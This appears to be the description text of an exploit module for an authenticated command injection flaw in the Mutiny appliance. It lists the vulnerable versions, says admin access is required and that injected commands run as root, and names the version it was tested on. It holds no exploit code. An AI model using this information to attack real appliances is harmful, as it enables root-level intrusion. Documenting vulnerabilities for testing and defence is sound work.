This module exploits an authenticated command injection vulnerability in the  
Mutiny appliance. Versions prior to 4.5-1.12 are vulnerable. In order to exploit  
the vulnerability the mutiny user must have access to the admin interface. The  
injected commands are executed with root privileges. This module has been tested  
successfully on Mutiny 4.2-1.05.
